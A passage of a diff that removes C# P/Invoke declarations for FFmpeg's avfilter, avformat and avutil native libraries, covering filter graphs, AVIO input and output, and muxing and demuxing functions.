CallingConvention.Cdecl)] - public unsafe static extern AVFilterContext* avfilter_graph_alloc_filter(AVFilterGraph* graph, AVFilter* filter, [MarshalAs(UnmanagedType.LPStr)] string name); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVFilterContext* avfilter_graph_get_filter(AVFilterGraph* graph, [MarshalAs(UnmanagedType.LPStr)] string name); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avfilter_graph_add_filter(AVFilterGraph* graphctx, AVFilterContext* filter); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avfilter_graph_create_filter(AVFilterContext** filt_ctx, AVFilter* filt, [MarshalAs(UnmanagedType.LPStr)] string name, [MarshalAs(UnmanagedType.LPStr)] string args, void* opaque, AVFilterGraph* graph_ctx); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void avfilter_graph_set_auto_convert(AVFilterGraph* graph, uint flags); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avfilter_graph_config(AVFilterGraph* graphctx, void* log_ctx); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void avfilter_graph_free(AVFilterGraph** graph); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVFilterInOut* avfilter_inout_alloc(); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void avfilter_inout_free(AVFilterInOut** inout); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avfilter_graph_parse(AVFilterGraph* graph, [MarshalAs(UnmanagedType.LPStr)] string filters, AVFilterInOut* inputs, AVFilterInOut* outputs, void* log_ctx); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avfilter_graph_parse_ptr(AVFilterGraph* graph, [MarshalAs(UnmanagedType.LPStr)] string filters, AVFilterInOut** inputs, AVFilterInOut** outputs, void* log_ctx); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avfilter_graph_parse2(AVFilterGraph* graph, [MarshalAs(UnmanagedType.LPStr)] string filters, AVFilterInOut** inputs, AVFilterInOut** outputs); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avfilter_graph_send_command(AVFilterGraph* graph, [MarshalAs(UnmanagedType.LPStr)] string target, [MarshalAs(UnmanagedType.LPStr)] string cmd, [MarshalAs(UnmanagedType.LPStr)] string arg, IntPtr res, int res_len, int flags); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avfilter_graph_queue_command(AVFilterGraph* graph, [MarshalAs(UnmanagedType.LPStr)] string target, [MarshalAs(UnmanagedType.LPStr)] string cmd, [MarshalAs(UnmanagedType.LPStr)] string arg, int flags, double ts); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern sbyte* avfilter_graph_dump(AVFilterGraph* graph, [MarshalAs(UnmanagedType.LPStr)] string options); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avfilter_graph_request_oldest(AVFilterGraph* graph); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern uint av_buffersrc_get_nb_failed_requests(AVFilterContext* buffer_src); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_buffersrc_write_frame(AVFilterContext* ctx, AVFrame* frame); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_buffersrc_add_frame(AVFilterContext* ctx, AVFrame* frame); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_buffersrc_add_frame_flags(AVFilterContext* buffer_src, AVFrame* frame, int flags); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_buffersink_get_frame_flags(AVFilterContext* ctx, AVFrame* frame, int flags); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVBufferSinkParams* av_buffersink_params_alloc(); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVABufferSinkParams* av_abuffersink_params_alloc(); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_buffersink_set_frame_size(AVFilterContext* ctx, uint frame_size); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVRational av_buffersink_get_frame_rate(AVFilterContext* ctx); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_buffersink_get_frame(AVFilterContext* ctx, AVFrame* frame); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_buffersink_get_samples(AVFilterContext* ctx, AVFrame* frame, int nb_samples); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public static extern string avio_find_protocol_name([MarshalAs(UnmanagedType.LPStr)] string url); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public static extern int avio_check([MarshalAs(UnmanagedType.LPStr)] string url, int flags); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public static extern int avpriv_io_move([MarshalAs(UnmanagedType.LPStr)] string url_src, [MarshalAs(UnmanagedType.LPStr)] string url_dst); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public static extern int avpriv_io_delete([MarshalAs(UnmanagedType.LPStr)] string url); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avio_open_dir(AVIODirContext** s, [MarshalAs(UnmanagedType.LPStr)] string url, AVDictionary** options); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avio_read_dir(AVIODirContext* s, AVIODirEntry** next); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avio_close_dir(AVIODirContext** s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void avio_free_directory_entry(AVIODirEntry** entry); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVIOContext* avio_alloc_context(sbyte* buffer, int buffer_size, int write_flag, void* opaque, IntPtr* read_packet, IntPtr* write_packet, IntPtr* seek); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void avio_w8(AVIOContext* s, int b); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void avio_write(AVIOContext* s, sbyte* buf, int size); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void avio_wl64(AVIOContext* s, ulong val); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void avio_wb64(AVIOContext* s, ulong val); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void avio_wl32(AVIOContext* s, uint val); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void avio_wb32(AVIOContext* s, uint val); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void avio_wl24(AVIOContext* s, uint val); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void avio_wb24(AVIOContext* s, uint val); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void avio_wl16(AVIOContext* s, uint val); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void avio_wb16(AVIOContext* s, uint val); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avio_put_str(AVIOContext* s, [MarshalAs(UnmanagedType.LPStr)] string str); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avio_put_str16le(AVIOContext* s, [MarshalAs(UnmanagedType.LPStr)] string str); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avio_put_str16be(AVIOContext* s, [MarshalAs(UnmanagedType.LPStr)] string str); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern long avio_seek(AVIOContext* s, long offset, int whence); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern long avio_skip(AVIOContext* s, long offset); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern long avio_size(AVIOContext* s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avio_feof(AVIOContext* s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int url_feof(AVIOContext* s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avio_printf(AVIOContext* s, [MarshalAs(UnmanagedType.LPStr)] string fmt); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void avio_flush(AVIOContext* s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avio_read(AVIOContext* s, sbyte* buf, int size); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avio_r8(AVIOContext* s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern uint avio_rl16(AVIOContext* s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern uint avio_rl24(AVIOContext* s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern uint avio_rl32(AVIOContext* s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern ulong avio_rl64(AVIOContext* s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern uint avio_rb16(AVIOContext* s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern uint avio_rb24(AVIOContext* s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern uint avio_rb32(AVIOContext* s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern ulong avio_rb64(AVIOContext* s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avio_get_str(AVIOContext* pb, int maxlen, IntPtr buf, int buflen); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avio_get_str16le(AVIOContext* pb, int maxlen, IntPtr buf, int buflen); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avio_get_str16be(AVIOContext* pb, int maxlen, IntPtr buf, int buflen); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avio_open(AVIOContext** s, [MarshalAs(UnmanagedType.LPStr)] string url, int flags); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avio_open2(AVIOContext** s, [MarshalAs(UnmanagedType.LPStr)] string url, int flags, AVIOInterruptCB* int_cb, AVDictionary** options); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avio_close(AVIOContext* s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avio_closep(AVIOContext** s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avio_open_dyn_buf(AVIOContext** s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avio_close_dyn_buf(AVIOContext* s, sbyte** pbuffer); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern string avio_enum_protocols(void** opaque, int output); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avio_pause(AVIOContext* h, int pause); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern long avio_seek_time(AVIOContext* h, int stream_index, long timestamp, int flags); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avio_read_to_bprint(AVIOContext* h, AVBPrint* pb, ulong max_size); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avio_accept(AVIOContext* s, AVIOContext** c); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avio_handshake(AVIOContext* c); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_get_packet(AVIOContext* s, AVPacket* pkt, int size); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_append_packet(AVIOContext* s, AVPacket* pkt, int size); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVRational av_stream_get_r_frame_rate(AVStream* s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_stream_set_r_frame_rate(AVStream* s, AVRational r); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVCodecParserContext* av_stream_get_parser(AVStream* s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern sbyte* av_stream_get_recommended_encoder_configuration(AVStream* s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_stream_set_recommended_encoder_configuration(AVStream* s, IntPtr configuration); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern long av_stream_get_end_pts(AVStream* st); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_format_get_probe_score(AVFormatContext* s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVCodec* av_format_get_video_codec(AVFormatContext* s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_format_set_video_codec(AVFormatContext* s, AVCodec* c); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVCodec* av_format_get_audio_codec(AVFormatContext* s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_format_set_audio_codec(AVFormatContext* s, AVCodec* c); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVCodec* av_format_get_subtitle_codec(AVFormatContext* s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_format_set_subtitle_codec(AVFormatContext* s, AVCodec* c); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVCodec* av_format_get_data_codec(AVFormatContext* s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_format_set_data_codec(AVFormatContext* s, AVCodec* c); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_format_get_metadata_header_padding(AVFormatContext* s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_format_set_metadata_header_padding(AVFormatContext* s, int c); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void* av_format_get_opaque(AVFormatContext* s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_format_set_opaque(AVFormatContext* s, void* opaque); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern av_format_control_message av_format_get_control_message_cb(AVFormatContext* s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_format_set_control_message_cb(AVFormatContext* s, av_format_control_message callback); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVOpenCallback av_format_get_open_cb(AVFormatContext* s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_format_set_open_cb(AVFormatContext* s, AVOpenCallback callback); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_format_inject_global_side_data(AVFormatContext* s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVDurationEstimationMethod av_fmt_ctx_get_duration_estimation_method(AVFormatContext* ctx); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public static extern uint avformat_version(); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public static extern string avformat_configuration(); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public static extern string avformat_license(); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public static extern void av_register_all(); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_register_input_format(AVInputFormat* format); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_register_output_format(AVOutputFormat* format); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public static extern int avformat_network_init(); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public static extern int avformat_network_deinit(); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVInputFormat* av_iformat_next(AVInputFormat* f); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVOutputFormat* av_oformat_next(AVOutputFormat* f); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVFormatContext* avformat_alloc_context(); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void avformat_free_context(AVFormatContext* s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVClass* avformat_get_class(); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVStream* avformat_new_stream(AVFormatContext* s, AVCodec* c); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern sbyte* av_stream_new_side_data(AVStream* stream, AVPacketSideDataType type, int size); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern sbyte* av_stream_get_side_data(AVStream* stream, AVPacketSideDataType type, int* size); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVProgram* av_new_program(AVFormatContext* s, int id); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avformat_alloc_output_context2(AVFormatContext** ctx, AVOutputFormat* oformat, [MarshalAs(UnmanagedType.LPStr)] string format_name, [MarshalAs(UnmanagedType.LPStr)] string filename); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVInputFormat* av_find_input_format([MarshalAs(UnmanagedType.LPStr)] string short_name); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVInputFormat* av_probe_input_format(AVProbeData* pd, int is_opened); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVInputFormat* av_probe_input_format2(AVProbeData* pd, int is_opened, int* score_max); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVInputFormat* av_probe_input_format3(AVProbeData* pd, int is_opened, int* score_ret); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_probe_input_buffer2(AVIOContext* pb, AVInputFormat** fmt, [MarshalAs(UnmanagedType.LPStr)] string url, void* logctx, uint offset, uint max_probe_size); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_probe_input_buffer(AVIOContext* pb, AVInputFormat** fmt, [MarshalAs(UnmanagedType.LPStr)] string url, void* logctx, uint offset, uint max_probe_size); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avformat_open_input(AVFormatContext** ps, [MarshalAs(UnmanagedType.LPStr)] string url, AVInputFormat* fmt, AVDictionary** options); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_demuxer_open(AVFormatContext* ic); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avformat_find_stream_info(AVFormatContext* ic, AVDictionary** options); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVProgram* av_find_program_from_stream(AVFormatContext* ic, AVProgram* last, int s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_program_add_stream_index(AVFormatContext* ac, int progid, uint idx); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_find_best_stream(AVFormatContext* ic, AVMediaType type, int wanted_stream_nb, int related_stream, AVCodec** decoder_ret, int flags); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_read_frame(AVFormatContext* s, AVPacket* pkt); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_seek_frame(AVFormatContext* s, int stream_index, long timestamp, int flags); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avformat_seek_file(AVFormatContext* s, int stream_index, long min_ts, long ts, long max_ts, int flags); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avformat_flush(AVFormatContext* s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_read_play(AVFormatContext* s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_read_pause(AVFormatContext* s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void avformat_close_input(AVFormatContext** s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avformat_write_header(AVFormatContext* s, AVDictionary** options); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_write_frame(AVFormatContext* s, AVPacket* pkt); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_interleaved_write_frame(AVFormatContext* s, AVPacket* pkt); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_write_uncoded_frame(AVFormatContext* s, int stream_index, AVFrame* frame); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_interleaved_write_uncoded_frame(AVFormatContext* s, int stream_index, AVFrame* frame); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_write_uncoded_frame_query(AVFormatContext* s, int stream_index); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_write_trailer(AVFormatContext* s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVOutputFormat* av_guess_format([MarshalAs(UnmanagedType.LPStr)] string short_name, [MarshalAs(UnmanagedType.LPStr)] string filename, [MarshalAs(UnmanagedType.LPStr)] string mime_type); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVCodecID av_guess_codec(AVOutputFormat* fmt, [MarshalAs(UnmanagedType.LPStr)] string short_name, [MarshalAs(UnmanagedType.LPStr)] string filename, [MarshalAs(UnmanagedType.LPStr)] string mime_type, AVMediaType type); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_get_output_timestamp(AVFormatContext* s, int stream, long* dts, long* wall); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_hex_dump(_iobuf* f, sbyte* buf, int size); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_hex_dump_log(void* avcl, int level, sbyte* buf, int size); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_pkt_dump2(_iobuf* f, AVPacket* pkt, int dump_payload, AVStream* st); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_pkt_dump_log2(void* avcl, int level, AVPacket* pkt, int dump_payload, AVStream* st); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVCodecID av_codec_get_id(AVCodecTag** tags, uint tag); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern uint av_codec_get_tag(AVCodecTag** tags, AVCodecID id); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_codec_get_tag2(AVCodecTag** tags, AVCodecID id, uint* tag); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_find_default_stream_index(AVFormatContext* s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_index_search_timestamp(AVStream* st, long timestamp, int flags); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_add_index_entry(AVStream* st, long pos, long timestamp, int size, int distance, int flags); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_url_split(IntPtr proto, int proto_size, IntPtr authorization, int authorization_size, IntPtr hostname, int hostname_size, int* port_ptr, IntPtr path, int path_size, [MarshalAs(UnmanagedType.LPStr)] string url); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_dump_format(AVFormatContext* ic, int index, [MarshalAs(UnmanagedType.LPStr)] string url, int is_output); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public static extern int av_get_frame_filename(IntPtr buf, int buf_size, [MarshalAs(UnmanagedType.LPStr)] string path, int number); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public static extern int av_filename_number_test([MarshalAs(UnmanagedType.LPStr)] string filename); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_sdp_create(AVFormatContext** ac, int n_files, IntPtr buf, int size); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public static extern int av_match_ext([MarshalAs(UnmanagedType.LPStr)] string filename, [MarshalAs(UnmanagedType.LPStr)] string extensions); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avformat_query_codec(AVOutputFormat* ofmt, AVCodecID codec_id, int std_compliance); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVCodecTag* avformat_get_riff_video_tags(); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVCodecTag* avformat_get_riff_audio_tags(); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVCodecTag* avformat_get_mov_video_tags(); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVCodecTag* avformat_get_mov_audio_tags(); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVRational av_guess_sample_aspect_ratio(AVFormatContext* format, AVStream* stream, AVFrame* frame); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVRational av_guess_frame_rate(AVFormatContext* ctx, AVStream* stream, AVFrame* frame); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avformat_match_stream_specifier(AVFormatContext* s, AVStream* st, [MarshalAs(UnmanagedType.LPStr)] string spec); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avformat_queue_attached_pictures(AVFormatContext* s); - - [DllImport("avformat-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_apply_bitstream_filters(AVCodecContext* codec, AVPacket* pkt, AVBitStreamFilterContext* bsfc); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern uint avutil_version(); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern string av_version_info(); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern string avutil_configuration(); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern string avutil_license(); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern string av_get_media_type_string(AVMediaType media_type); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern sbyte av_get_picture_type_char(AVPictureType pict_type); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern int av_log2(uint v); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern int av_log2_16bit(uint v); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public static extern int av_strerror(int errnum, IntPtr errbuf, ulong errbuf_size); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void* av_malloc(ulong size); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void* av_realloc(void* ptr, ulong size); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void* av_realloc_f(void* ptr, ulong nelem, ulong elsize); - - [DllImport("avutil-55", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int 